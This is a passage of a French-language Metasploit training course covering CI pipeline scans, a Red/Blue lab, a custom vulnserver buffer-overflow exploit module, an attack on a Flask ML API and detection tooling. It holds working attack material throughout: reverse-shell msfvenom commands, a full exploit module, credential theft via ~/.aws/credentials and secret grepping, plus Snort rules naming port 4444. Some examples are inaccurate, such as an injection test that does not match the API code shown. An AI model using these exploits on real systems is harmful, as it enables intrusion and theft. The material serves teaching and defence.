✅ D’automatiser les tests de sĂ©curitĂ© au mĂȘme titre que les tests unitaires ou d’intĂ©gration.

✅ De former les dĂ©veloppeurs Ă  Ă©crire du code sĂ©curisĂ©, en montrant les impacts rĂ©els de leurs erreurs.


2. Intégration dans GitLab CI : scénario complet

Objectif : Scanner une application web exposée en staging (OWASP Juice Shop par exemple)

1ïžâƒŁ PrĂ©requis

  • Un projet GitLab
  • Une image Docker vulnĂ©rable (ou un conteneur de test)
  • Un runner GitLab avec accĂšs au rĂ©seau cible

2ïžâƒŁ Exemple de .gitlab-ci.yml

stages: - security_test metasploit_scan: stage: security_test image: kalilinux/kali-rolling script: - apt update && apt install -y metasploit-framework nmap - echo "use auxiliary/scanner/http/http_version" > scan.rc - echo "set RHOSTS 172.20.0.10" >> scan.rc - echo "set RPORT 3000" >> scan.rc - echo "run" >> scan.rc - msfconsole -r scan.rc -q -o rapport_scan.txt artifacts: paths: - rapport_scan.txt

✅ RĂ©sultat attendu

  • Le pipeline lance un scan HTTP de l’instance vulnĂ©rable
  • Le rĂ©sultat est exportĂ© dans rapport_scan.txt
  • Le fichier est tĂ©lĂ©chargeable depuis l’interface GitLab

3. Intégration dans Jenkins : pipeline de sécurité automatisé

Objectif : Exploiter une machine vulnérable automatiquement en pipeline Jenkins (via agent Docker)

1ïžâƒŁ PrĂ©requis

  • Jenkins installĂ© avec Docker
  • AccĂšs rĂ©seau vers la cible (VM vulnĂ©rable)
  • Image Kali avec Metasploit

2ïžâƒŁ Exemple de Jenkinsfile

pipeline { agent { docker { image 'kalilinux/kali-rolling' } } stages { stage('Install Metasploit') { steps { sh 'apt update && apt install -y metasploit-framework' } } stage('Scan HTTP') { steps { writeFile file: 'scan.rc', text: ''' use auxiliary/scanner/http/http_version set RHOSTS 192.168.56.101 set RPORT 80 run ''' sh 'msfconsole -r scan.rc -q -o rapport.txt' archiveArtifacts artifacts: 'rapport.txt', fingerprint: true } } } }

✅ RĂ©sultat attendu

  • Jenkins tĂ©lĂ©charge Metasploit
  • Il lance un scan HTTP via scan.rc
  • Il archive le rapport pour visualisation

4. Génération de rapports exploitables

Pour que les rĂ©sultats de Metasploit soient lisibles dans un contexte DevSecOps, ils doivent ĂȘtre :

✅ ExportĂ©s dans un fichier (-o rapport.txt ou via redirection >)

✅ AgrĂ©gĂ©s dans des tableaux de bord (Grafana, Kibana, ELK, etc.)

✅ Lisibles par des humains non techniques (via parsing/scripting si besoin)

Exemple de parsing avec awk

awk '/\[\*\]/ {print $0}' rapport.txt > resume.txt

Ou convertir en JSON avec un parseur Ruby si vous voulez les envoyer dans un SIEM.


5. Bonnes pratiques pour ne pas compromettre un environnement de staging

✅ Toujours respecter ces rùgles :

🔐 N’utiliser Metasploit que sur des environnements isolĂ©s (pas sur la prĂ©prod ou la prod !).

🌐 Limiter les IPs ciblĂ©es Ă  des ranges de lab internes. Exemple : 192.168.x.x, 10.x.x.x

🔍 Utiliser uniquement les modules non destructifs pour les tests CI/CD (scanners, version check, info leak).

🔁 CrĂ©er des pipelines spĂ©cifiques de sĂ©curitĂ©, sĂ©parĂ©s des pipelines de build.

đŸȘȘ Journaliser toutes les actions, et versionner les scripts .rc utilisĂ©s.

⚙ Taguer clairement les rapports avec le nom du test, la CVE ciblĂ©e, le module utilisĂ©.

đŸ“„ GĂ©rer les droits d'accĂšs aux rapports sensibles via GitLab/Jenkins/serveur de logs.


6. Organisation d’un rĂ©pertoire de tests DevSecOps

Organisez vos tests comme un projet code :

sec_tests/
├── README.md
├── exploit_web.rc
├── scan_ports.rc
├── post_exploit.rc
├── parse_results.py
├── .gitlab-ci.yml
└── jenkinsfile

Cela permet :

  • La traçabilitĂ©
  • Le versioning sĂ©curisĂ©
  • La mutualisation des scripts entre Ă©quipes

✅ Objectifs atteints

À la fin de ce chapitre, vous savez :

  • IntĂ©grer Metasploit dans GitLab CI/CD ou Jenkins
  • GĂ©nĂ©rer et archiver des rapports automatisĂ©s
  • ProtĂ©ger vos environnements de staging de tout dommage
  • Organiser vos tests offensifs comme un vrai projet logiciel sĂ©curisĂ©

Dans le chapitre suivant, vous passerez Ă  la simulation d’attaques complĂštes avec dĂ©ploiement d’un lab Red Team / Blue Team, exploitation complĂšte, journalisation et remĂ©diation.

Vous ĂȘtes dĂ©sormais capable d’utiliser Metasploit comme un outil de DevSecOps, intĂ©grĂ©, documentĂ© et contrĂŽlĂ©.


Chapitre 7 : Scénarios réalistes d'attaque/défense

Ce chapitre vous guide pas à pas pour concevoir et déployer des scénarios réalistes de simulation offensive (Red Team) dans un environnement contrÎlé, puis observer la réponse défensive (Blue Team) via la journalisation et la corrélation des événements avec des outils comme ELK ou Wazuh. L'objectif est de pratiquer comme dans une vraie entreprise, sans jamais rien improviser.


1. Qu’est-ce qu’un scĂ©nario Red Team ?

Un scĂ©nario Red Team reproduit les actions d’un attaquant rĂ©el, mais dans un environnement isolĂ© et maĂźtrisĂ©.

L'objectif est de :

  • Tester la robustesse technique ET organisationnelle
  • Mettre en lumiĂšre les failles rĂ©elles
  • Faire progresser les capacitĂ©s de dĂ©fense (Blue Team)

Chaque scĂ©nario doit ĂȘtre : ✅ RĂ©aliste ✅ Reproductible ✅ Traçable ✅ DocumentĂ©


2. Exemple de scénario : Vol de données sensibles via une faille web

🎯 Objectif pĂ©dagogique

  • Identifier un service vulnĂ©rable
  • Exploiter une faille pour obtenir un shell
  • Escalader les privilĂšges
  • Extraire une base de donnĂ©es
  • Être dĂ©tectĂ© par la Blue Team

3. Déploiement du lab Red/Blue Team local

đŸ–„ïž Composants

  • Attaquant (Kali Linux) : avec Metasploit, nmap, Nikto
  • Cible (DVWA, JuiceShop) : applications web vulnĂ©rables
  • SIEM (ELK ou Wazuh) : pour la journalisation et la dĂ©tection

🐳 DĂ©ploiement rapide avec Docker Compose

version: '3.7' services: dvwa: image: vulnerables/web-dvwa ports: - "8080:80" networks: - redblue juiceshop: image: bkimminich/juice-shop ports: - "3000:3000" networks: - redblue wazuh: image: wazuh/wazuh:latest ports: - "5601:5601" # Kibana interface - "9200:9200" # Elasticsearch networks: - redblue networks: redblue: driver: bridge

📩 Lancer le lab

docker-compose up -d

AccĂšs :


4. Étapes d’un scĂ©nario complet d’attaque

1ïžâƒŁ Phase de reconnaissance

nmap -sV -p 80,3000 localhost

2ïžâƒŁ Analyse web (Juice Shop)

nikto -h http://localhost:3000

Résultat attendu : XSS, injections, headers faibles.

3ïžâƒŁ Exploitation avec Metasploit

msfconsole search juice use auxiliary/scanner/http/juiceshop_login set RHOSTS 172.20.0.3 # IP du conteneur JuiceShop run

4ïžâƒŁ Injection manuelle (ou SQLMap)

sqlmap -u "http://localhost:3000/rest/user/login" --data="email=test@a.com&password=abc" --batch

5ïžâƒŁ Reverse shell (ex. via upload malveillant)

  • GĂ©nĂ©rer payload :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.20.0.1 LPORT=4444 -f elf > shell.elf
  • HĂ©berger et exĂ©cuter dans JuiceShop

6ïžâƒŁ Prise de contrĂŽle + escalade

getuid sysinfo run post/linux/gather/enum_configs

5. Journalisation et corrélation avec ELK ou Wazuh

🧠 Pourquoi ?

  • Suivre les logs de toutes les actions
  • DĂ©tecter les anomalies en temps rĂ©el
  • Documenter les intrusions et leur origine

📩 Configuration de base avec Wazuh

  • DĂ©jĂ  intĂ©grĂ© avec Elasticsearch et Kibana
  • AccĂšs Ă  l’interface : http://localhost:5601

🔍 Rechercher les logs d’attaque

  • Allez dans Kibana > Discover
  • Recherchez des Ă©vĂ©nements alert, sudo, connection, failed login

Exemples de queries :

agent.name:"juiceshop" AND data.win.system.eventID:4625
message:*meterpreter*

📊 Visualiser

  • CrĂ©ez un dashboard personnalisĂ© avec :

    • Nombre de connexions entrantes
    • Commandes bash suspectes
    • Tentatives de bruteforce

6. Exercice pratique : Capture the Flag interne

🎯 Objectif :

Mettre en place une épreuve Red/Blue interne, avec points attribués pour :

  • AccĂšs initial
  • ÉlĂ©vation
  • Extraction de flag (/root/flag.txt)
  • Journalisation correcte
  • RĂ©action de la Blue Team

📝 Conseils d’organisation

  • 2 Ă  3 machines vulnĂ©rables (DVWA, JuiceShop, Metasploitable2)
  • 1 instance Kali
  • 1 interface Kibana ouverte Ă  tous les observateurs
  • Scoreboard manuel ou automatisĂ©

✅ Objectifs atteints

À la fin de ce chapitre, vous savez :

  • CrĂ©er un lab Red/Blue complet et rĂ©aliste
  • Exploiter une application web vulnĂ©rable
  • Être dĂ©tectĂ© et tracĂ© par un SIEM (Wazuh/ELK)
  • Organiser un mini-CTF pour votre Ă©quipe

Dans le chapitre suivant, vous apprendrez comment créer vos propres exploits Metasploit, adapter un POC, injecter du shellcode, et automatiser votre chaßne d'exploitation complÚte.

Vous ĂȘtes maintenant capable de passer du scan Ă  la simulation d’attaque complĂšte, jusqu’à la dĂ©tection dans une vraie architecture.


Chapitre 8 : Créer son propre exploit

Ce chapitre vous guide pas Ă  pas dans la crĂ©ation d’un exploit personnalisĂ© dans Metasploit. Vous apprendrez Ă  lire un POC (Proof of Concept) depuis ExploitDB, Ă  l’adapter dans un module Metasploit, Ă  injecter un shellcode, et Ă  dĂ©boguer votre exploit avec GDB + pwndbg. Chaque Ă©tape est expliquĂ©e en dĂ©tail, sans rien supposer de vos connaissances.


1. Objectif du chapitre

Nous allons :

  1. TĂ©lĂ©charger un POC d’exploit simple sur ExploitDB
  2. Comprendre comment il fonctionne
  3. Créer un module Metasploit basé sur ce POC
  4. Y injecter un shellcode généré avec msfvenom
  5. DĂ©boguer le tout avec gdb et pwndbg jusqu’à l’exĂ©cution

2. Choisir un exploit simple et accessible

🎯 Cible choisie : vulnĂ©rabilitĂ© dans vulnserver (Windows, stack overflow)

POC ExploitDB : https://www.exploit-db.com/exploits/9994

Nous allons exploiter ce service Windows vulnérable volontairement.

🐧 Machine attaquante : Kali Linux

đŸȘŸ Machine cible : Windows XP avec Vulnserver installĂ©

Télécharger vulnserver.exe : http://www.greyhathacker.net/?page_id=22

Lancez-le sur la VM Windows, port 9999.


3. Analyse du POC de base

Voici un extrait du POC en Python :

buffer = "A" * 2003 + "B" * 4 + "C" * (3000-2007) s = socket.socket() s.connect(("192.168.56.101", 9999)) s.send("TRUN /.:/" + buffer)

Explication :

  • A * 2003 : remplit le buffer jusqu’à l’EIP (instruction pointer)
  • B * 4 : Ă©crase EIP (on peut y mettre l’adresse du shellcode)
  • C * 
 : padding aprĂšs l’EIP

Notre but est de remplacer le "B" * 4 par l’adresse du shellcode, et injecter le shellcode au dĂ©but du buffer.


4. Générer le shellcode avec msfvenom

🎯 Objectif : reverse shell Windows (via port 4444)

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f c -b "\x00"
  • -b "\x00" : on exclut les octets interdits (null bytes)
  • -f c : format C compatible avec un buffer

Copiez le shellcode généré (commence par unsigned char buf[] = ...)


5. Créer un module Metasploit personnalisé

📁 Arborescence

mkdir -p ~/.msf4/modules/exploits/windows/vulnserver cd ~/.msf4/modules/exploits/windows/vulnserver nano vulnserver_trun.rb

📜 Contenu du module :

class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Vulnserver TRUN Buffer Overflow', 'Description' => 'Stack-based buffer overflow in Vulnserver TRUN command', 'Author' => ['Vous'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Targets' => [['Windows XP SP3', { 'Ret' => 0x625011af }]], 'Payload' => {'BadChars' => "\x00"}, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 2020')) register_options([ Opt::RPORT(9999), ]) end def exploit connect junk = "A" * 2003 eip = [target['Ret']].pack('V') nop = make_nops(16) payload_final = junk + eip + nop + payload.encoded sock.put("TRUN /.:/" + payload_final) disconnect end end

💡 L’adresse 0x625011af est un jmp esp trouvĂ© dans essfunc.dll de vulnserver (via Mona sous Immunity Debugger).


6. Lancer et tester l’exploit

Dans Metasploit :

msfconsole reload_all use exploit/windows/vulnserver/vulnserver_trun set RHOST 192.168.56.101 set LHOST 192.168.56.1 set PAYLOAD windows/shell_reverse_tcp set LPORT 4444 exploit

Sur Kali, ouvrez un listener :

nc -lvnp 4444

🎯 RĂ©sultat attendu : connexion inversĂ©e de la machine Windows vers Kali


7. Debugging avec GDB / pwndbg (si cible Linux)

🎯 Objectif : crĂ©er un exploit sur un binaire Linux vulnĂ©rable et comprendre le crash

1ïžâƒŁ PrĂ©parer un binaire vulnĂ©rable

// vuln.c #include <stdio.h> #include <string.h> void vulnerable(char *input) { char buffer[100]; strcpy(buffer, input); } int main(int argc, char *argv[]) { vulnerable(argv[1]); return 0; }

Compilez :

gcc -fno-stack-protector -z execstack vuln.c -o vuln

2ïžâƒŁ Lancer avec un long argument

./vuln $(python3 -c 'print("A"*200)')

3ïžâƒŁ Ouvrir dans GDB + pwndbg

gdb ./vuln run $(python3 -c 'print("A"*200)')

🔎 Identifier le crash

  • info registers : pour voir si EIP est Ă©crasĂ©
  • pattern_create, pattern_offset : outils pwndbg pour trouver l’offset exact

✅ Objectifs atteints

À la fin de ce chapitre, vous savez :

  • Lire et comprendre un POC d’exploit
  • CrĂ©er un module Metasploit sur mesure
  • Injecter un shellcode dans un buffer overflow
  • Debugger un crash pour affiner votre exploit

Dans le prochain chapitre, vous apprendrez comment adapter Metasploit aux enjeux MLOps, en attaquant des services exposés (API Flask, modÚles ML non protégés), et en sécurisant ces environnements contre les intrusions réelles.

Vous ĂȘtes maintenant capable de transformer un POC d’ExploitDB en module Metasploit prĂȘt Ă  l’emploi.


Chapitre 9 : MLOps & sécurité offensive

Dans ce chapitre, vous allez découvrir comment les environnements MLOps mal configurés deviennent des cibles idéales pour une attaque, comment exploiter une API Flask exposée, comment utiliser Metasploit dans ce contexte, et quelles mesures mettre en place pour se défendre efficacement. Ce chapitre vous guide étape par étape, sans raccourcis, sans hypothÚses.


1. Comprendre les risques spécifiques au MLOps

Les environnements MLOps combinent :

  • Des notebooks Jupyter accessibles en HTTP
  • Des scripts exĂ©cutĂ©s Ă  distance
  • Des API REST exposant des modĂšles
  • Des conteneurs connectĂ©s Ă  des volumes de donnĂ©es sensibles

⚠ TrĂšs souvent, ils sont :

  • ExposĂ©s sur le port 5000, 8888 ou 6006
  • ProtĂ©gĂ©s par un simple token ou pire : aucun mot de passe
  • DĂ©ployĂ©s sans durcissement rĂ©seau (ex. : AWS, GCP, OVH publics)

2. Mise en place d’un environnement vulnĂ©rable MLOps

đŸ§Ș Objectif : dĂ©ployer une API Flask exposant un modĂšle ML vulnĂ©rable

1ïžâƒŁ Code de l’API vulnĂ©rable (exemple)

Créez un fichier api.py :

from flask import Flask, request, jsonify import pickle import numpy as np app = Flask(__name__) model = pickle.load(open("model.pkl", "rb")) @app.route("/predict", methods=["POST"]) def predict(): data = request.get_json() prediction = model.predict([np.array(data["features"])]) return jsonify({"prediction": prediction.tolist()}) if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

2ïžâƒŁ Dummy modĂšle (prĂ©paration)

from sklearn.ensemble import RandomForestClassifier import pickle import numpy as np X = np.random.rand(100, 4) y = np.random.randint(0, 2, 100) clf = RandomForestClassifier().fit(X, y) pickle.dump(clf, open("model.pkl", "wb"))

3ïžâƒŁ Lancer l’API Flask

pip install flask scikit-learn numpy python api.py

Accessible sur : http://localhost:5000/predict


3. Attaque sur l’API avec Metasploit

🎯 Objectif : identifier une vulnĂ©rabilitĂ© RCE (Remote Command Execution)

1ïžâƒŁ Scanner la cible

nmap -sV -p 5000 192.168.56.101

Résultat : port 5000 ouvert (Flask dev server)

2ïžâƒŁ Test d’injection directe avec curl

curl -X POST http://192.168.56.101:5000/predict -H "Content-Type: application/json" \ -d '{"features": ["__import__('os').system('id')"]}'

⚠ Flask avec eval() ou dĂ©sĂ©rialisation non sĂ©curisĂ©e est vulnĂ©rable.

3ïžâƒŁ Module Metasploit : dĂ©sĂ©rialisation Python

msfconsole search flask use exploit/multi/http/flask_unsign_rce set RHOSTS 192.168.56.101 set RPORT 5000 set TARGETURI /predict set PAYLOAD python/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 exploit

🎯 RĂ©sultat attendu : session Meterpreter sur le conteneur Flask


4. Post-exploitation typique en environnement MLOps

Une fois connecté via Meterpreter :

🔍 1ïžâƒŁ Lire les notebooks en clair

cd /home/ubuntu/ ls -la cat notebooks/production_model.ipynb

📩 2ïžâƒŁ Voler les modĂšles

download model.pkl

🔑 3ïžâƒŁ Extraire les secrets stockĂ©s (tokens, API keys)

grep -r "key" . grep -r "token" .

🧬 4ïžâƒŁ AccĂšs cloud via clĂ©s stockĂ©es localement

cat ~/.aws/credentials

5. Recommandations de sécurité pour les environnements MLOps

🔐 1ïžâƒŁ SĂ©curiser les API Flask

  • Ne jamais utiliser eval() sur des donnĂ©es utilisateur
  • Valider le JSON avec un schĂ©ma strict (pydantic, jsonschema)
  • Utiliser une authentification robuste (OAuth2, JWT)
  • Ajouter un reverse proxy avec filtrage d’IP (nginx + fail2ban)

📚 2ïžâƒŁ SĂ©curiser les notebooks

  • Interdire l’accĂšs externe Ă  Jupyter (--ip=127.0.0.1)
  • Ajouter un mot de passe fort ou token jetable
  • Utiliser des extensions de sĂ©curitĂ© (JupyterHub + LDAP)

đŸ§± 3ïžâƒŁ Cloisonner les environnements

  • Lancer chaque conteneur MLOps dans un namespace rĂ©seau isolĂ©
  • Utiliser des secrets manager (Vault, AWS Secrets Manager)
  • Supprimer les droits root sur les conteneurs

đŸ›Ąïž 4ïžâƒŁ Monitorer les accĂšs avec Wazuh/ELK

  • Journaliser les accĂšs API
  • DĂ©tecter les appels suspects (os.system, eval, etc.)
  • IntĂ©grer les logs dans un SIEM avec alertes automatiques

✅ Objectifs atteints

À la fin de ce chapitre, vous savez :

  • DĂ©ployer un environnement MLOps vulnĂ©rable pour tester
  • Lancer une attaque sur une API Flask exposĂ©e
  • Exploiter et compromettre un service ML mal protĂ©gĂ©
  • Mettre en place des recommandations concrĂštes pour protĂ©ger ces services

Dans le chapitre suivant, vous étudierez les contre-mesures avancées : détection comportementale, honeypots, Snort/Suricata, et introduction au Threat Hunting avec Metasploit.

Vous ĂȘtes maintenant capable de comprendre les risques spĂ©cifiques du MLOps et de les exploiter comme de les prĂ©venir.


Chapitre 10 : Sécurité avancée & contre-mesures

Dans ce dernier chapitre, vous apprendrez à repérer les attaques menées avec Metasploit, à mettre en place des honeypots pour piéger les attaquants, à analyser les comportements suspects avec Snort, Suricata et Zeek, et à utiliser les logs pour traquer l'activité d'un attaquant dans vos systÚmes.


1. Détection des outils offensifs

Objectif : identifier les prĂ©sences d’outils comme Metasploit ou nmap via des signatures rĂ©seau ou comportementales

1.1. Signatures de scan classiques

✅ Exemple avec nmap

nmap -sS -p 1-1000 192.168.56.101

GĂ©nĂšre des paquets SYN inhabituels non suivis d’ACK

✅ Exemple avec msfconsole (scan ou exploit)

  • Paquets TCP avec User-Agent → "Mozilla/4.0 compatible" (classique)
  • Connexions au port 4444 (listener Metasploit par dĂ©faut)

1.2. Outils de détection réactive : OSSEC, Wazuh, Fail2ban

  • OSSEC/Wazuh peuvent dĂ©tecter des schĂ©mas de connexions rĂ©pĂ©tĂ©es (tentatives bruteforce, reverse shells)
  • Fail2ban peut bloquer les IPs sur base de motifs de logs (ex. : "Failed password" SSH)

2. Mise en place de honeypots

Objectif : créer un systÚme volontairement vulnérable pour capturer les attaques

2.1. Honeyd (Linux)

sudo apt install honeyd sudo honeyd -d -f /etc/honeyd.conf -i eth0

Extrait de honeyd.conf :

default { personality "Linux 2.4.20" log tcp[23] log tcp[80] uptime 172800 tcp port 23 "sh /home/honeypot/start_telnet.sh" }

2.2. Cowrie (Honeypot SSH)

git clone https://github.com/cowrie/cowrie.git cd cowrie virtualenv cowrie-env source cowrie-env/bin/activate pip install -r requirements.txt cp etc/cowrie.cfg.dist etc/cowrie.cfg bin/cowrie start

Logs disponibles dans var/log/cowrie/ (sessions, commandes, IPs)


3. Détection comportementale avec Snort, Suricata, Zeek

3.1. Snort (IDS signature-based)

sudo apt install snort

Configuration minimale

Fichier /etc/snort/snort.conf :

include $RULE_PATH/local.rules

Créez une rÚgle personnalisée :

alert tcp any any -> any 4444 (msg:"Metasploit listener detected"; sid:100001; rev:1;)

Lancez l'analyse :

snort -A console -q -c /etc/snort/snort.conf -i eth0

3.2. Suricata (IDS/IPS moderne)

sudo apt install suricata sudo suricata -i eth0 -c /etc/suricata/suricata.yaml -l /var/log/suricata/

3.3. Zeek (analyse comportementale avancée)

sudo apt install zeek sudo zeek -i eth0

Analyse en profondeur (DNS, SSL, HTTP, etc.) Fichiers : /usr/local/zeek/logs/current/


4. Threat Hunting avec les logs Metasploit

Objectif : traquer les traces d’intrusion post-attaque

4.1. GĂ©nĂ©ration de logs d’activitĂ© (cotĂ© dĂ©fenseur)

Installer auditd :

sudo apt install auditd

Configurer pour surveiller les fichiers sensibles :

auditctl -w /etc/passwd -p war -k metasploit_hunt

Afficher les événements :

aureport -k --start today

4.2. Corrélation avec journaux de session (ELK/Wazuh)

  • Identifier les IPs entrantes
  • Distinguer les commandes exĂ©cutĂ©es
  • Suivre les fichiers accĂ©dĂ©s (logs de shell, bash history, etc.)

4.3. Indicateurs d’intrusion typiques Metasploit

  • Connexions sortantes Ă  port 4444 ou 4443
  • Fichiers créés : .msf4, payload.exe, shell.php
  • Processus lancĂ©s : cmd.exe, powershell.exe, meterpreter

5. Bonus : dashboard prĂȘt Ă  l’emploi (Wazuh + Kibana)

AccĂ©der Ă  l’interface : http://localhost:5601

Créer un dashboard :

  • Nombre d’IP ayant tentĂ© une connexion
  • Ports les plus ciblĂ©s
  • Top user-agents suspects
  • Alertes Snort/Suricata par date

✅ Objectifs atteints

  • Vous savez repĂ©rer les scans ou attaques via Metasploit
  • Vous pouvez mettre en place un honeypot actif
  • Vous dĂ©ployez des outils IDS/IPS comportementaux
  • Vous comprenez comment analyser des journaux pour du threat hunting

Chapitre 11 : Aller plus loin

Dans ce dernier chapitre, nous allons étendre les compétences acquises pour aborder les usages les plus avancés de Metasploit :

  • modules non officiels,
  • tests d'intrusion Web,
  • automatisation via RPC,
  • intĂ©gration dans des environnements cloud et conteneurisĂ©s (Docker, Kubernetes).

1. Modules non officiels et Metasploit Pro

1.1. Utiliser des modules personnalisés

Récupérer un module communautaire

Exemple : exploit/linux/http/apache_mod_cgi_bash_env_exec

cd ~/.msf4/modules/exploits/linux/http/ wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/apache_mod_cgi_bash_env_exec.rb

Charger le module dans Metasploit

msfconsole reload_all use exploit/linux/http/apache_mod_cgi_bash_env_exec

1.2. Metasploit Pro (version commerciale)

Fonctionnalités avancées :

  • Dashboard de campagne
  • Rapports professionnels (PDF, HTML)
  • Tests en un clic
  • Collaboration Ă©quipe

Licences d'essai disponibles sur : https://www.rapid7.com/products/metasploit/download/


2. Vulnérabilités Web avec Metasploit

2.1. Modules auxiliary spécifiques

Lister les modules Web :

search type:auxiliary name:web

Exemples utiles :

  • auxiliary/scanner/http/dir_scanner
  • auxiliary/scanner/http/http_version
  • auxiliary/scanner/http/wordpress_login_enum

2.2. Exploiter une faille SQLi (injection SQL)

use auxiliary/sqli/oracle/dbms_cdc_publish set RHOSTS 192.168.56.110 set RPORT 80 set URI /vuln.php?id= run

2.3. Exploiter une faille XSS

Exemple : auxiliary/gather/xssed_search

use auxiliary/gather/xssed_search set SEARCH_STRING login run

2.4. LFI/RFI avec auxiliary/scanner/http/lfi

use auxiliary/scanner/http/lfi set RHOSTS 192.168.56.120 set RPORT 80 set PATH /vulnerable.php?file= run

3. Automatisation avancée avec Metasploit RPC

3.1. Activer le service RPC

msfrpcd -U msf -P mypassword -f -S

3.2. Utiliser l’API en Python (via msfrpc ou msfrpc-client)

pip install msfrpc

Exemple de script de scan automatisé

from metasploit.msfrpc import MsfRpcClient client = MsfRpcClient('mypassword') scanner = client.modules.use('auxiliary', 'scanner/ftp/ftp_version') scanner['RHOSTS'] = '192.168.56.0/24' scanner.execute()

3.3. Utilisation en pipeline (CI/CD)

Créer des scripts automatisés pour exécuter des campagnes de test post-deploiement. Intégrer avec Jenkins, GitLab CI, etc. via des jobs qui appellent python + API RPC


4. Tests en environnements Cloud et conteneurisés

4.1. Scanner une application déployée sur Docker

Déployer un conteneur vulnérable :

docker run -d -p 8080:80 vulnerables/web-dvwa

Scanner avec Metasploit :

use auxiliary/scanner/http/http_version set RHOSTS 127.0.0.1 set RPORT 8080 run

4.2. Cas Kubernetes : pods vulnérables

Installer Minikube :

curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 sudo install minikube-linux-amd64 /usr/local/bin/minikube

Lancer un cluster local :

minikube start

Déployer une app vulnérable :

kubectl create deployment dvwa --image=vulnerables/web-dvwa kubectl expose deployment dvwa --type=NodePort --port=80 minikube service dvwa --url

Scanner avec Metasploit comme ci-dessus sur l'URL exposée

4.3. Conteneurs Ă  l’intĂ©rieur de bastions

Scanner l’hĂŽte puis le rĂ©seau interne :

  • Reverse shell vers Metasploit
  • EnumĂ©ration avec post/linux/gather/enum_containers

✅ Objectifs atteints

  • Vous avez intĂ©grĂ© des modules non officiels dans Metasploit
  • Vous savez exploiter des vulnĂ©rabilitĂ©s Web (SQLi, XSS, LFI)
  • Vous automatisez les tests de sĂ©curitĂ© avec Metasploit RPC
  • Vous testez mĂȘme vos environnements cloud et Kubernetes

📘 Glossaire des termes clĂ©s

TermeDéfinition
ExploitCode qui tire parti d'une vulnérabilité pour obtenir un accÚs ou exécuter une action non autorisée.
PayloadCharge utile livrée via un exploit, comme une shell ou un Meterpreter.
EncoderMéthode pour modifier un payload afin d'échapper à la détection (ex: antivirus).
ModuleÉlĂ©ment de Metasploit (exploit, scanner, encoder, etc.) utilisĂ© dans une attaque.
AuxiliaryModule non-exploit, utilisé pour le scan, le fuzzing ou le déni de service.
NopsInstructions vides insérées pour aligner un payload dans un buffer overflow.
RC ScriptScript .rc pour automatiser des commandes dans msfconsole.
Reverse ShellShell envoyĂ©e Ă  l’attaquant (connecte l’attaquĂ© Ă  l’attaquant).
Bind ShellShell à laquelle l’attaquant se connecte (le shell attend les connexions sur la machine compromise).
MeterpreterPayload interactif avancé permettant le contrÎle complet de la machine cible via Metasploit.
Post-exploitationActions entreprises aprÚs une compromission réussie (extraction de données, persistance, mouvement latéral, etc.).

📌 Liste de CVE utilisĂ©es dans le cours

CVE IDDescription
CVE-2011-2523vsftpd 2.3.4 backdoor - accÚs root via une fausse réponse smiley :)
CVE-2020-0796"SMBGhost" - exécution de code à distance sur Windows 10 via SMBv3
CVE-2017-0144EternalBlue (SMBv1) - utilisé par WannaCry pour propager sur Windows
CVE-2021-4034Polkit pkexec - local privilege escalation (Linux)
CVE-2019-0708BlueKeep (RDP) - exécution à distance sur anciennes versions de Windows
CVE-2021-44228Log4Shell - injection de JNDI dans les logs Java (Log4j)

📚 Ressources pour aller plus loin

Livres

  • "Metasploit: The Penetration Tester's Guide" - HD Moore & al.
  • "The Hacker Playbook" - Peter Kim
  • "Red Team Field Manual (RTFM)" - Ben Clark
  • "Violent Python" - TJ O'Connor

CTF et Labs

Forums & Communs

GitHub et outils


✅ Checklists DevSecOps intĂ©grant Metasploit

🔒 Environnement de test

  • Isoler un rĂ©seau local Ă  des fins de test (VM, NAT, VirtualBox/VMWare)
  • Utiliser des machines vulnĂ©rables connues (ex: Metasploitable, DVWA)
  • Scanner les IP autorisĂ©es uniquement (jamais de scan sur Internet sans autorisation)

đŸ§Ș Tests rĂ©currents

  • Inclure msfconsole -r dans un pipeline CI/CD de sĂ©curitĂ©
  • Scanner les dĂ©pendances et les ports de build docker
  • ExĂ©cuter un scan aux/ avec journalisation automatisĂ©e

đŸ§© IntĂ©gration SecOps

  • Exporter les logs Metasploit vers un SIEM
  • CorrĂ©ler les scans/dĂ©tections avec Wazuh ou ELK
  • DĂ©clencher une alerte en cas d’exploitation

đŸ“€ Rapports et audit

  • GĂ©nĂ©rer automatiquement un rapport HTML/PDF de chaque campagne
  • Archiver les scripts .rc, les CVE utilisĂ©es et les preuves
  • Noter les contremesures recommandĂ©es (correctifs, durcissement, etc.)

Ces annexes sont une boßte à outils permanente pour tout professionnel DevSecOps, Red/Blue Team ou MLOps cherchant à intégrer Metasploit dans une chaßne de sécurité offensive et défensive moderne.